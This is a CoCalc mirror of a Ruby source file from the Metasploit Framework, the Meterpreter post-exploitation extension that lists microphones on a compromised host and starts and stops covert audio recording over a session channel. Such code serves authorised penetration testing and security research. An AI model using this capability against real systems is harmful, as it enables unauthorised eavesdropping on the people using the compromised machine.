CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb
Views: 11655
1
# -*- coding: binary -*-
2
3
require 'rex/post/meterpreter/channel'
4
require 'rex/post/meterpreter/channels/pools/stream_pool'
5
6
module Rex
7
module Post
8
module Meterpreter
9
module Extensions
10
module Stdapi
11
module Mic
12
13
###
14
#
15
# This meterpreter extension can list and capture from microphone
16
#
17
###
18
class Mic
19
def initialize(client)
20
@client = client
21
end
22
23
def session
24
@client
25
end
26
27
# List available microphones
28
def mic_list
29
response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_LIST))
30
names = []
31
if response.result == 0
32
response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|
33
names << tlv.value
34
end
35
end
36
names
37
end
38
39
# Starts recording audio from microphone
40
def mic_start(device_id)
41
request = Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_START)
42
request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)
43
response = client.send_request(request)
44
return nil unless response.result == 0
45
46
Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS, response)
47
end
48
49
# Stop recording from microphone
50
def mic_stop
51
client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_STOP))
52
true
53
end
54
55
attr_accessor :client
56
end
57
58
end
59
end
60
end
61
end
62
end
63
end
64
65